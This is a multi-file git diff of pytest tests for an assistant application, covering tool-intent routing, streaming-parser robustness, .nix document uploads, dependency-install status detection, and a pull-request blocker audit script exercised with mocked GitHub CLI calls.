@@ -7,6 +7,18 @@ from unittest.mock import MagicMock
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
# Pre-import real heavy modules BEFORE any test file's module-level stubs can
# replace them with MagicMock. Some test files (e.g. test_llm_core_sanitize_*)
# stub sqlalchemy/core.database at module scope with `if mod not in sys.modules`,
# which fires during collection. If the real module hasn't been imported yet,
# the stub wins and contaminates every subsequent test that needs the real ORM.
try:
import sqlalchemy # noqa: F401
import sqlalchemy.orm # noqa: F401
import core.database # noqa: F401
except ImportError:
pass # not installed — the stubs below will handle it
def _has_module(mod_name: str) -> bool:
try:
return importlib.util.find_spec(mod_name) is not None
+22 -1
View File
@@ -1,14 +1,26 @@
from src.action_intents import message_needs_tools
from src.action_intents import classify_tool_intent, message_needs_tools
def test_calendar_entry_request_promotes_to_agent():
assert message_needs_tools("Can you add an entry to my calendar?")
intent = classify_tool_intent("Can you add an entry to my calendar?")
assert intent.needs_tools
assert intent.category == "calendar"
def test_calendar_imperative_variants_promote_to_agent():
assert message_needs_tools("add lunch with Sam to my calendar tomorrow at noon")
assert message_needs_tools("schedule a call with Mina next Friday")
assert message_needs_tools("put dentist appointment on my calendar")
assert message_needs_tools("Alright. Recreate that same appointment")
assert message_needs_tools("Okay delete that doctor appointment from the calendar")
assert message_needs_tools("have another go at adding a test entry to the calendar")
assert message_needs_tools(
"Okay so you should be able to create that calendar event for tomorrow at 1:30 p.m. right for me to go to the hardware store"
)
assert message_needs_tools(
"make it an appointment at 12pm for me to visit the doctor it's tomorrow the 2nd of June 2026"
)
def test_note_todo_and_reminder_actions_promote_to_agent():
@@ -33,3 +45,12 @@ def test_explanatory_calendar_questions_stay_plain_chat():
assert not message_needs_tools("How do I add an entry to my calendar?")
assert not message_needs_tools("What about the built-in Odysseus calendar, is that linked to email?")
assert not message_needs_tools("Can you explain how calendar reminders work?")
intent = classify_tool_intent("How do I add an entry to my calendar?")
assert not intent.needs_tools
assert intent.reason == "explanatory feature question"
def test_router_reports_non_calendar_categories():
assert classify_tool_intent("reply to that email").category == "email"
assert classify_tool_intent("open my calendar").category == "ui"
assert classify_tool_intent("research cost effective local models").category == "research"
+1 -1
View File
@@ -81,13 +81,13 @@ def _auth_regressions_stubs(monkeypatch):
resolve_endpoint=MagicMock(return_value=("", "", {})),
normalize_base=MagicMock(),
build_chat_url=MagicMock(),
build_models_url=MagicMock(),
build_headers=MagicMock(),
)
monkeypatch.setitem(sys.modules, "core.database", db)
monkeypatch.setitem(sys.modules, "core.auth", auth)
monkeypatch.setitem(sys.modules, "src.endpoint_resolver", ep)
from fastapi import HTTPException
# ---------------------------------------------------------------------------
@@ -37,6 +37,42 @@ def test_local_windows_session_commands_use_local_powershell_log_dir():
assert ": `powershell -Command \"${ps}\"`;" in source
def test_dep_install_success_recognized_from_exit_sentinel():
"""A pip dependency install reports success via the runner's exit-0
sentinel / pip's "Successfully installed" line, not the HuggingFace
download markers. The shared helper must key off those, so an install
whose tmux pane is gone isn't misread as crashed."""
source = _read("static/js/cookbookRunning.js")
assert "function _depInstallSucceeded(output) {" in source
assert "=== Process exited with code" in source
assert "Successfully installed" in source
def test_session_gone_heuristic_honors_dep_install_success():
"""The reconnect loop's session-gone branch (download tasks need an HF
marker to look successful) must also accept a finished dependency install,
otherwise a clean pip install with no HF markers is marked crashed."""
source = _read("static/js/cookbookRunning.js")
assert "const depInstallSucceeded = !!task.payload?._dep && _depInstallSucceeded(lastOutput);" in source
assert (
"const looksSuccessful = depInstallSucceeded "
"|| (task.type === 'download' ? downloadLooksSuccessful : serveLooksReady);"
) in source
def test_background_poll_recovers_done_for_stopped_dependency_install():
"""When the backend reports a finished dependency install as "stopped"
(its pip package is never in the HF cache the dead-session check inspects),
the reconciler must recover "done" from the retained output instead of
downgrading the card to crashed."""
source = _read("static/js/cookbookRunning.js")
assert "const depDone = !!task.payload?._dep && _depInstallSucceeded(task.output);" in source
assert "depDone ? 'done' : (task.type === 'download' ? 'crashed' : 'stopped')" in source
def test_dependency_install_payload_keeps_env_path_for_refresh():
source = _read("static/js/cookbook.js")
+53
View File
@@ -101,3 +101,56 @@ def test_usage_on_empty_choices_chunk_still_captured(monkeypatch):
]
usage = _usage_events(_drive(monkeypatch, lines))
assert usage and usage[-1] == {"input_tokens": 4, "output_tokens": 2}
def test_null_choice_chunk_does_not_crash(monkeypatch):
# Some providers emit {"choices": [null]} as a heartbeat/keepalive chunk.
# The parser must silently skip it rather than crashing on None.get("delta").
lines = [
'data: ' + json.dumps({"choices": [{"delta": {"content": "Hello"}}]}),
'data: ' + json.dumps({"choices": [None]}),
'data: [DONE]',
]
result = _drive(monkeypatch, lines)
assert "Hello" in result
def test_null_choice_with_null_usage_does_not_crash(monkeypatch):
# Chunk with both choices:[null] and usage:null — neither field should panic.
lines = [
'data: ' + json.dumps({"choices": [{"delta": {"content": "Hi"}}]}),
'data: ' + json.dumps({"choices": [None], "usage": None}),
'data: [DONE]',
]
result = _drive(monkeypatch, lines)
assert "Hi" in result
def test_null_tool_call_in_delta_is_skipped(monkeypatch):
# Some providers include null entries in the tool_calls array alongside
# valid calls. The null entry must be skipped; the valid call must survive.
lines = [
'data: ' + json.dumps({
"choices": [{
"delta": {
"tool_calls": [
None,
{"index": 0, "function": {"name": "get_weather", "arguments": '{"city":'}},
]
}
}]
}),
'data: ' + json.dumps({
"choices": [{
"delta": {
"tool_calls": [
{"index": 0, "function": {"name": "", "arguments": '"London"}'}},
]
}
}]
}),
'data: [DONE]',
]
result = _drive(monkeypatch, lines)
# The stream completes without error; the valid tool call was accumulated.
assert result is not None
+20
View File
@@ -0,0 +1,20 @@
from src.document_processor import _is_text_file, _process_text_file
from src.upload_handler import UploadHandler
def test_nix_files_are_treated_as_readable_documents(tmp_path):
handler = UploadHandler(str(tmp_path), str(tmp_path / "uploads"))
assert handler.is_document_file("configuration.nix")
assert _is_text_file("configuration.nix")
def test_nix_file_processing_includes_content_in_code_block(tmp_path):
nix_file = tmp_path / "configuration.nix"
nix_file.write_text("{ pkgs, ... }:\n{\n services.openssh.enable = true;\n}\n", encoding="utf-8")
rendered = _process_text_file(str(nix_file))
assert "[Type: nix" in rendered
assert "```nix" in rendered
assert "services.openssh.enable = true;" in rendered
+964
View File
@@ -0,0 +1,964 @@
import importlib.util
import json
import pytest
import re
import sys
from datetime import datetime, timezone
from pathlib import Path
ROOT = Path(__file__).resolve().parents[1]
SCRIPT_PATH = ROOT / "scripts" / "pr_blocker_audit.py"
def load_module():
spec = importlib.util.spec_from_file_location("pr_blocker_audit", SCRIPT_PATH)
module = importlib.util.module_from_spec(spec)
sys.modules[spec.name] = module
spec.loader.exec_module(module)
return module
def test_parses_graphql_style_pr_json():
audit = load_module()
prs = audit.normalize_prs(
[
{
"number": 7,
"title": "Fix auth token rotation",
"author": {"login": "alice"},
"url": "https://example.test/pr/7",
"mergeStateStatus": "CLEAN",
"reviewDecision": "REVIEW_REQUIRED",
"updatedAt": "2026-05-30T12:00:00Z",
"files": [{"path": "core/auth/tokens.py"}],
}
]
)
assert prs[0].number == 7
assert prs[0].author == "alice"
assert prs[0].url.endswith("/7")
assert prs[0].files == ("core/auth/tokens.py",)
assert "Auth / users / API tokens" in prs[0].areas
def test_parses_rest_style_pr_json():
audit = load_module()
prs = audit.normalize_prs(
[
{
"number": 8,
"title": "Improve uploads",
"user": {"login": "bob"},
"html_url": "https://example.test/pr/8",
"mergeable_state": "dirty",
"files": [{"filename": "app/documents/upload.py"}],
}
]
)
assert prs[0].author == "bob"
assert prs[0].url.endswith("/8")
assert prs[0].merge_state == "dirty"
assert prs[0].files == ("app/documents/upload.py",)
def test_parses_file_lists_as_dicts_and_strings():
audit = load_module()
prs = audit.normalize_prs(
[
{
"number": 1,
"title": "Memory update",
"files": ["core/memory.py", {"path": "tests/test_memory.py"}, {"filename": "docs/memory.md"}],
}
]
)
assert prs[0].files == ("core/memory.py", "docs/memory.md", "tests/test_memory.py")
def test_missing_files_is_handled():
audit = load_module()
prs = audit.normalize_prs([{"number": 2, "title": "No file metadata"}])
assert prs[0].files == ()
assert prs[0].author == "unknown"
def test_fetch_live_prs_fills_missing_files(monkeypatch):
audit = load_module()
calls = []
def fake_run(cmd):
calls.append(cmd)
if cmd[:3] == ["gh", "pr", "list"]:
return [
{"number": 1, "title": "Has files", "files": [{"path": "core/auth.py"}]},
{"number": 2, "title": "Needs files", "files": []},
]
return [{"filename": "core/search.py"}, {"filename": "tests/test_search.py"}]
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
payload = audit.fetch_live_prs("owner/repo")
prs = audit.normalize_prs(payload)
assert [pr.files for pr in prs] == [("core/auth.py",), ("core/search.py", "tests/test_search.py")]
assert calls[-1] == ["gh", "api", "--paginate", "repos/owner/repo/pulls/2/files?per_page=100"]
def test_fetch_live_prs_keeps_missing_files_when_per_pr_fetch_fails(monkeypatch):
audit = load_module()
def fake_run(cmd):
if cmd[:3] == ["gh", "pr", "list"]:
return [{"number": 3, "title": "Needs files", "files": []}]
raise RuntimeError("rate limit")
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
payload = audit.fetch_live_prs("owner/repo")
prs = audit.normalize_prs(payload)
assert prs[0].files == ()
assert "PR #3: could not fetch changed files: rate limit" in payload["warnings"]
def test_fetch_live_prs_no_fetch_files_skips_per_pr_calls(monkeypatch):
audit = load_module()
calls = []
def fake_run(cmd):
calls.append(cmd)
return [{"number": 4, "title": "Metadata only", "files": []}]
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
payload = audit.fetch_live_prs("owner/repo", fetch_files=False)
assert payload == [{"number": 4, "title": "Metadata only", "files": []}]
assert len(calls) == 1
def test_fetch_live_prs_passes_limit_to_gh_pr_list(monkeypatch):
audit = load_module()
calls = []
def fake_run(cmd):
calls.append(cmd)
return []
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
audit.fetch_live_prs("owner/repo", fetch_files=True, limit=50)
assert calls[0] == [
"gh",
"pr",
"list",
"--repo",
"owner/repo",
"--state",
"open",
"--limit",
"50",
"--json",
"number,title,author,files,mergeStateStatus,reviewDecision,updatedAt,url",
]
def test_no_fetch_files_omits_files_from_gh_pr_list(monkeypatch):
audit = load_module()
calls = []
def fake_run(cmd):
calls.append(cmd)
return []
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
audit.fetch_live_prs("owner/repo", fetch_files=False, limit=50)
assert calls[0][-1] == "number,title,author,mergeStateStatus,reviewDecision,updatedAt,url"
def test_fetch_live_prs_caps_rest_fallback_by_limit(monkeypatch):
audit = load_module()
def fake_run(cmd):
if cmd[:3] == ["gh", "pr", "list"]:
raise RuntimeError("graphql unavailable")
return [
{"number": 1, "title": "A", "files": []},
{"number": 2, "title": "B", "files": []},
{"number": 3, "title": "C", "files": []},
]
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
payload = audit.fetch_live_prs("owner/repo", fetch_files=False, limit=2)
assert [item["number"] for item in payload] == [1, 2]
def test_offline_input_ignores_limit(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(
json.dumps(
[
{"number": 1, "title": "A", "files": []},
{"number": 2, "title": "B", "files": []},
]
),
encoding="utf-8",
)
exit_code = audit.main(["--input", str(path), "--limit", "1"])
output = capsys.readouterr().out
assert exit_code == 0
assert "Total PRs analyzed: 2" in output
def test_invalid_limit_exits_cleanly(capsys):
audit = load_module()
with pytest.raises(SystemExit) as exc:
audit.main(["--repo", "owner/repo", "--limit", "0"])
assert exc.value.code == 2
assert "must be a positive integer" in capsys.readouterr().err
def test_help_includes_limit():
audit = load_module()
help_text = audit.build_parser().format_help()
assert "--limit LIMIT" in help_text
assert "Live mode: max open PRs to fetch/analyze" in help_text
def test_progress_goes_to_stderr_not_stdout(monkeypatch, capsys):
audit = load_module()
def fake_run(cmd):
if cmd[:3] == ["gh", "pr", "list"]:
return [{"number": 5, "title": "Needs files", "files": []}]
return [{"filename": "core/search.py"}]
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
exit_code = audit.main(["--repo", "owner/repo", "--format", "terminal", "--progress", "always"])
captured = capsys.readouterr()
assert exit_code == 0
assert "PR Blocker Audit" in captured.out
assert "Fetching open PR list..." not in captured.out
assert "Fetching open PR list..." in captured.err
assert "Fetching changed files:" in captured.err
def test_progress_not_shown_for_offline_input(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps([{"number": 6, "title": "Offline", "files": []}]), encoding="utf-8")
exit_code = audit.main(["--input", str(path), "--progress", "always"])
captured = capsys.readouterr()
assert exit_code == 0
assert "PR Blocker Audit" in captured.out
assert "Fetching open PR list..." not in captured.err
def test_progress_auto_hidden_when_stderr_is_not_tty(monkeypatch, capsys):
audit = load_module()
def fake_run(cmd):
if cmd[:3] == ["gh", "pr", "list"]:
return [{"number": 7, "title": "Needs files", "files": []}]
return [{"filename": "core/search.py"}]
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
monkeypatch.setattr(audit.sys.stderr, "isatty", lambda: False)
exit_code = audit.main(["--repo", "owner/repo", "--progress", "auto"])
captured = capsys.readouterr()
assert exit_code == 0
assert "Fetching open PR list..." not in captured.err
def test_progress_always_shown_when_stderr_is_not_tty(monkeypatch, capsys):
audit = load_module()
def fake_run(cmd):
if cmd[:3] == ["gh", "pr", "list"]:
return [{"number": 8, "title": "Needs files", "files": []}]
return [{"filename": "core/search.py"}]
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
monkeypatch.setattr(audit.sys.stderr, "isatty", lambda: False)
exit_code = audit.main(["--repo", "owner/repo", "--progress", "always"])
captured = capsys.readouterr()
assert exit_code == 0
assert "Fetching open PR list..." in captured.err
def test_quiet_suppresses_progress_and_warning(monkeypatch, capsys):
audit = load_module()
def fake_run(cmd):
if cmd[:3] == ["gh", "pr", "list"]:
return [{"number": 9, "title": "Needs files", "files": []}]
raise RuntimeError("rate limit")
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
exit_code = audit.main(["--repo", "owner/repo", "--progress", "always", "--quiet"])
captured = capsys.readouterr()
assert exit_code == 0
assert "PRs missing changed-file metadata: 1" in captured.out
assert captured.err == ""
def test_report_output_remains_clean_with_progress(monkeypatch, capsys):
audit = load_module()
def fake_run(cmd):
if cmd[:3] == ["gh", "pr", "list"]:
return [{"number": 10, "title": "Needs files", "files": []}]
return [{"filename": "core/search.py"}]
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
exit_code = audit.main(["--repo", "owner/repo", "--format", "terminal", "--progress", "always"])
captured = capsys.readouterr()
assert exit_code == 0
assert "Fetching changed files:" not in captured.out
assert "Fetched changed files" not in captured.out
assert "core/search.py" in captured.out
def test_markdown_output_file_has_no_progress_or_ansi(monkeypatch, tmp_path, capsys):
audit = load_module()
output_path = tmp_path / "report.md"
def fake_run(cmd):
if cmd[:3] == ["gh", "pr", "list"]:
return [{"number": 11, "title": "Needs files", "files": []}]
return [{"filename": "core/search.py"}]
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
exit_code = audit.main(["--repo", "owner/repo", "--output", str(output_path), "--progress", "always"])
captured = capsys.readouterr()
report = output_path.read_text(encoding="utf-8")
assert exit_code == 0
assert captured.out == ""
assert "Fetching changed files:" in captured.err
assert "Fetching changed files:" not in report
assert not re.search(r"\x1b\[[0-9;]*m", report)
def test_no_fetch_files_skips_progress(monkeypatch, capsys):
audit = load_module()
calls = []
def fake_run(cmd):
calls.append(cmd)
return [{"number": 12, "title": "Metadata only", "files": []}]
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
exit_code = audit.main(["--repo", "owner/repo", "--no-fetch-files", "--progress", "always"])
captured = capsys.readouterr()
assert exit_code == 0
assert len(calls) == 1
assert "Fetching changed files" not in captured.err
def test_area_classification():
audit = load_module()
areas = audit.classify_areas(["scripts/odysseus-mail", "tests/test_email.py"], "CalDAV sync")
assert "Email / CalDAV" in areas
assert "Docs / tooling / tests" in areas
def test_runtime_plus_test_file_is_not_docs_tooling():
audit = load_module()
areas = audit.classify_areas(["routes/memory_routes.py", "tests/test_memory_routes.py"], "Fix memory route")
assert "Memory / RAG / vector store" in areas
assert "Docs / tooling / tests" not in areas
def test_docs_only_pr_is_docs_tooling():
audit = load_module()
areas = audit.classify_areas(["docs/pr-blocker-audit.md"], "Update docs")
assert "Docs / tooling / tests" in areas
def test_script_tooling_only_pr_is_docs_tooling():
audit = load_module()
areas = audit.classify_areas(["scripts/pr_blocker_audit.py"], "Tooling script update")
assert "Docs / tooling / tests" in areas
def test_readme_only_pr_is_docs_tooling():
audit = load_module()
areas = audit.classify_areas(["README.md"], "README update")
assert "Docs / tooling / tests" in areas
def test_memory_owner_scope_leak_is_not_classified_as_auth():
audit = load_module()
areas = audit.classify_areas(
["routes/memory_routes.py", "services/memory/store.py"],
"fix: memory route leaks another user's session",
)
assert "Memory / RAG / vector store" in areas
assert "Auth / users / API tokens" not in areas
def test_bearer_token_auth_path_is_classified_as_auth():
audit = load_module()
areas = audit.classify_areas(
["core/auth.py", "routes/auth_routes.py"],
"fix: deleted users keep API access through bearer tokens",
)
assert "Auth / users / API tokens" in areas
def test_generic_security_file_is_not_classified_as_auth():
audit = load_module()
areas = audit.classify_areas(
["tests/test_email_linkify_security_js.py"],
"Harden email HTML URL sanitization",
)
assert "Email / CalDAV" in areas
assert "Auth / users / API tokens" not in areas
def test_hot_file_overlap_detection():
audit = load_module()
prs = audit.normalize_prs(
[
{"number": 1, "title": "A", "files": ["core/search.py"]},
{"number": 2, "title": "B", "files": ["core/search.py", "tests/test_search.py"]},
{"number": 3, "title": "C", "files": ["core/other.py"]},
]
)
assert audit.hot_files(prs) == [("core/search.py", [1, 2])]
def test_possible_duplicate_grouping():
audit = load_module()
prs = audit.normalize_prs(
[
{"number": 1, "title": "Fix auth token refresh", "files": ["core/auth.py", "tests/test_auth.py"]},
{"number": 2, "title": "Repair auth token refresh", "files": ["core/auth.py", "tests/test_auth.py"]},
{"number": 3, "title": "Improve gallery preview", "files": ["core/gallery.py"]},
]
)
groups = audit.duplicate_candidates(prs)
assert [[pr.number for pr in group] for group in groups] == [[1, 2]]
def test_score_ranking_is_deterministic():
audit = load_module()
prs = audit.normalize_prs(
[
{
"number": 2,
"title": "Gallery polish",
"reviewDecision": "APPROVED",
"updatedAt": "2026-05-20T00:00:00Z",
"files": ["core/gallery.py"],
},
{
"number": 1,
"title": "Fix auth token owner permission",
"mergeStateStatus": "DIRTY",
"reviewDecision": "REVIEW_REQUIRED",
"updatedAt": "2026-06-01T00:00:00Z",
"files": ["core/auth.py", "tests/test_auth.py"],
},
]
)
scored = audit.score_prs(prs, now=datetime(2026, 6, 3, tzinfo=timezone.utc))
assert [item.pr.number for item in scored] == [1, 2]
assert scored[0].score > scored[1].score
def test_direct_bearer_token_issue_ranks_above_dirty_memory_leak():
audit = load_module()
prs = audit.normalize_prs(
[
{
"number": 1,
"title": "fix: deleted users keep API access through bearer tokens",
"mergeStateStatus": "CLEAN",
"files": ["core/auth.py", "routes/auth_routes.py"],
},
{
"number": 2,
"title": "fix: memory route leaks another user's session",
"mergeStateStatus": "DIRTY",
"files": ["routes/memory_routes.py", "services/memory/store.py"],
},
]
)
scored = audit.score_prs(prs, now=datetime(2026, 6, 3, tzinfo=timezone.utc))
assert [item.pr.number for item in scored] == [1, 2]
assert scored[0].score > scored[1].score
def test_dirty_state_is_caution_text_not_priority_boost():
audit = load_module()
dirty_memory = audit.normalize_prs(
[
{
"number": 2,
"title": "fix: memory route leaks another user's session",
"mergeStateStatus": "DIRTY",
"files": ["routes/memory_routes.py", "services/memory/store.py"],
}
]
)[0]
clean_auth = audit.normalize_prs(
[
{
"number": 1,
"title": "fix: deleted users keep API access through bearer tokens",
"mergeStateStatus": "CLEAN",
"files": ["core/auth.py", "routes/auth_routes.py"],
}
]
)[0]
dirty_score = audit.score_pr(dirty_memory, audit.Counter(), datetime(2026, 6, 3, tzinfo=timezone.utc))
clean_auth_score = audit.score_pr(clean_auth, audit.Counter(), datetime(2026, 6, 3, tzinfo=timezone.utc))
assert dirty_score.score < clean_auth_score.score
assert any("caution: merge state DIRTY" == reason for reason in dirty_score.reasons)
def test_markdown_contains_expected_sections_and_no_ansi():
audit = load_module()
prs = audit.normalize_prs([{"number": 1, "title": "Fix search", "files": ["core/search.py"]}])
report = audit.render_markdown(prs)
assert "# PR Blocker Audit" in report
assert "## Executive summary" in report
assert "## Locked code areas" in report
assert "## Hot files" in report
assert "## Review / blocker priorities" in report
assert "## Duplicate candidates" in report
assert "## Safer areas for new work" in report
assert not re.search(r"\x1b\[[0-9;]*m", report)
def test_report_includes_missing_file_metadata_count():
audit = load_module()
prs = audit.normalize_prs(
[
{"number": 1, "title": "Fix search", "files": ["core/search.py"]},
{"number": 2, "title": "No files"},
]
)
markdown = audit.render_markdown(prs)
terminal = audit.render_terminal(prs, use_color=False)
assert "- PRs missing changed-file metadata: 1" in markdown
assert "PRs missing changed-file metadata: 1" in terminal
def test_overlap_summary_uses_hot_files_not_huge_clusters():
audit = load_module()
prs = audit.normalize_prs(
[{"number": number, "title": f"PR {number}", "files": ["common.py"]} for number in range(1, 25)]
)
report = audit.render_terminal(prs, use_color=False)
assert "Main overlap drivers: common.py (24 PRs)" in report
assert "Largest overlap clusters" not in report
assert "24 PRs (#1, #2" not in report
def test_long_pr_number_lists_are_truncated():
audit = load_module()
assert audit._format_pr_numbers(range(1, 16), limit=4) == "#1, #2, #3, #4, ... (+11 more)"
def test_other_locked_area_sorts_after_classified_critical_area():
audit = load_module()
payload = [
{"number": 1, "title": "Fix auth token", "files": ["core/auth.py"]},
{"number": 2, "title": "Fix auth login", "files": ["routes/auth.py"]},
{"number": 3, "title": "Fix auth permission", "files": ["tests/test_auth.py"]},
{"number": 4, "title": "Fix auth security", "files": ["docs/auth.md"]},
]
payload.extend({"number": number, "title": f"Unclassified {number}"} for number in range(5, 25))
prs = audit.normalize_prs(payload)
locked = audit.locked_areas(prs, audit.score_prs(prs))
assert locked[0]["area"] == "Auth / users / API tokens"
assert locked[-1]["area"] == "Other / unclassified"
assert locked[-1]["why"] == "20 PRs, mostly missing changed-file metadata"
def test_terminal_render_color_modes():
audit = load_module()
prs = audit.normalize_prs(
[
{"number": 1, "title": "Fix search", "mergeStateStatus": "CLEAN", "files": ["core/search.py"]},
{"number": 2, "title": "Search follow-up", "mergeStateStatus": "DIRTY", "files": ["core/search.py"]},
]
)
colored = audit.render_terminal(prs, use_color=True)
plain = audit.render_terminal(prs, use_color=False)
assert "Hot files" in plain
assert "core/search.py" in plain
assert "Review / blocker priorities" in plain
assert "Heuristic score only; inspect these first, do not merge without validation." in plain
assert re.search(r"\x1b\[[0-9;]*m", colored)
assert not re.search(r"\x1b\[[0-9;]*m", plain)
def test_terminal_hot_files_respects_top():
audit = load_module()
prs = audit.normalize_prs(
[
{"number": 1, "title": "A", "files": ["a.py", "b.py"]},
{"number": 2, "title": "B", "files": ["a.py", "b.py"]},
{"number": 3, "title": "C", "files": ["b.py"]},
]
)
report = audit.render_terminal(prs, top=1, use_color=False)
assert "Hot files" in report
assert "- b.py" in report
assert "- a.py" not in report
def test_terminal_truncates_long_title_but_markdown_keeps_it():
audit = load_module()
long_title = "Fix search " + "very-long-detail " * 12
prs = audit.normalize_prs([{"number": 1, "title": long_title, "files": ["core/search.py"]}])
terminal = audit.render_terminal(prs, use_color=False)
markdown = audit.render_markdown(prs)
short_title = audit.shorten_text(long_title)
assert short_title in terminal
assert long_title not in terminal
assert long_title in markdown
def test_cli_terminal_color_always_outputs_ansi(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps([{"number": 1, "title": "Fix search", "files": ["core/search.py"]}]), encoding="utf-8")
exit_code = audit.main(["--format", "terminal", "--color", "always", "--input", str(path)])
output = capsys.readouterr().out
assert exit_code == 0
assert re.search(r"\x1b\[[0-9;]*m", output)
def test_cli_terminal_no_color_outputs_no_ansi(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps([{"number": 1, "title": "Fix search", "files": ["core/search.py"]}]), encoding="utf-8")
exit_code = audit.main(["--format", "terminal", "--no-color", "--input", str(path)])
output = capsys.readouterr().out
assert exit_code == 0
assert not re.search(r"\x1b\[[0-9;]*m", output)
def test_color_auto_requires_terminal_and_support(monkeypatch):
audit = load_module()
args = audit.argparse.Namespace(format="terminal", color="auto", output=None)
monkeypatch.setattr(audit.sys.stdout, "isatty", lambda: True)
monkeypatch.delenv("NO_COLOR", raising=False)
monkeypatch.setitem(audit.os.environ, "TERM", "xterm-256color")
assert audit.should_use_color(args)
monkeypatch.setitem(audit.os.environ, "NO_COLOR", "1")
assert not audit.should_use_color(args)
def test_color_output_file_and_markdown_disable_ansi(monkeypatch):
audit = load_module()
monkeypatch.setattr(audit.sys.stdout, "isatty", lambda: True)
monkeypatch.setitem(audit.os.environ, "TERM", "xterm-256color")
output_args = audit.argparse.Namespace(format="terminal", color="auto", output="report.txt")
markdown_args = audit.argparse.Namespace(format="markdown", color="always", output=None)
assert not audit.should_use_color(output_args)
assert not audit.should_use_color(markdown_args)
def test_invalid_json_handled_cleanly(tmp_path):
audit = load_module()
path = tmp_path / "bad.json"
path.write_text("{bad json", encoding="utf-8")
exit_code = audit.main(["--input", str(path)])
assert exit_code == 1
def test_empty_input_handled_cleanly(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps([]), encoding="utf-8")
exit_code = audit.main(["--input", str(path)])
output = capsys.readouterr().out
assert exit_code == 0
assert "Total PRs analyzed: 0" in output
assert "No PRs to rank." in output
# --- JSON format tests ---
JSON_PRS = [
{
"number": 1,
"title": "Fix auth token rotation",
"author": {"login": "alice"},
"url": "https://example.test/pr/1",
"mergeStateStatus": "CLEAN",
"reviewDecision": "REVIEW_REQUIRED",
"updatedAt": "2026-05-30T12:00:00Z",
"files": [{"path": "core/auth.py"}, {"path": "tests/test_auth.py"}],
},
{
"number": 2,
"title": "Fix auth login flow",
"author": {"login": "bob"},
"url": "https://example.test/pr/2",
"mergeStateStatus": "DIRTY",
"reviewDecision": "CHANGES_REQUESTED",
"updatedAt": "2026-05-28T10:00:00Z",
"files": [{"path": "core/auth.py"}, {"path": "routes/auth_routes.py"}],
},
]
def test_json_output_parses_with_json_loads(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps(JSON_PRS), encoding="utf-8")
exit_code = audit.main(["--input", str(path), "--format", "json"])
output = capsys.readouterr().out
assert exit_code == 0
parsed = json.loads(output)
assert isinstance(parsed, dict)
def test_json_output_includes_expected_top_level_keys(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps(JSON_PRS), encoding="utf-8")
exit_code = audit.main(["--input", str(path), "--format", "json"])
output = capsys.readouterr().out
assert exit_code == 0
parsed = json.loads(output)
assert set(parsed.keys()) == {
"summary",
"locked_areas",
"hot_files",
"review_priorities",
"duplicate_candidates",
"safer_areas",
}
def test_json_summary_fields(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps(JSON_PRS), encoding="utf-8")
exit_code = audit.main(["--input", str(path), "--format", "json"])
output = capsys.readouterr().out
assert exit_code == 0
summary = json.loads(output)["summary"]
assert summary["total_prs_analyzed"] == 2
assert "unique_files_touched" in summary
assert "prs_missing_changed_file_metadata" in summary
assert "main_overlap_drivers" in summary
assert "highest_risk_areas" in summary
assert "recommended_first_review_target" in summary
def test_json_review_priorities_structure(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps(JSON_PRS), encoding="utf-8")
exit_code = audit.main(["--input", str(path), "--format", "json"])
output = capsys.readouterr().out
assert exit_code == 0
priorities = json.loads(output)["review_priorities"]
assert len(priorities) >= 1
first = priorities[0]
assert set(first.keys()) >= {"rank", "number", "score", "title", "url", "merge_state", "review_decision", "reasons"}
assert first["rank"] == 1
assert isinstance(first["reasons"], list)
def test_json_hot_files_structure(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps(JSON_PRS), encoding="utf-8")
exit_code = audit.main(["--input", str(path), "--format", "json"])
output = capsys.readouterr().out
assert exit_code == 0
hot = json.loads(output)["hot_files"]
assert len(hot) >= 1
assert hot[0]["file"] == "core/auth.py"
assert hot[0]["pr_count"] == 2
assert set(hot[0]["pr_numbers"]) == {1, 2}
def test_json_output_file_excludes_progress_and_ansi_in_live_output_file(monkeypatch, tmp_path, capsys):
audit = load_module()
output_path = tmp_path / "report.json"
def fake_run(cmd):
if cmd[:3] == ["gh", "pr", "list"]:
return JSON_PRS
return []
monkeypatch.setattr(audit, "_run_gh_json", fake_run)
exit_code = audit.main(
["--repo", "owner/repo", "--format", "json", "--output", str(output_path), "--progress", "always"]
)
captured = capsys.readouterr()
report = output_path.read_text(encoding="utf-8")
assert exit_code == 0
assert captured.out == ""
assert "Fetching open PR list..." in captured.err or "Fetching changed files" in captured.err
parsed = json.loads(report)
assert set(parsed.keys()) == {
"summary",
"locked_areas",
"hot_files",
"review_priorities",
"duplicate_candidates",
"safer_areas",
}
assert not re.search(r"\x1b\[[0-9;]*m", report)
assert "Fetching" not in report
def test_json_format_with_color_always_emits_no_ansi(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps(JSON_PRS), encoding="utf-8")
exit_code = audit.main(["--input", str(path), "--format", "json", "--color", "always"])
output = capsys.readouterr().out
assert exit_code == 0
assert not re.search(r"\x1b\[[0-9;]*m", output)
parsed = json.loads(output)
assert isinstance(parsed, dict)
def test_json_output_is_deterministic(tmp_path):
audit = load_module()
path = tmp_path / "prs.json"
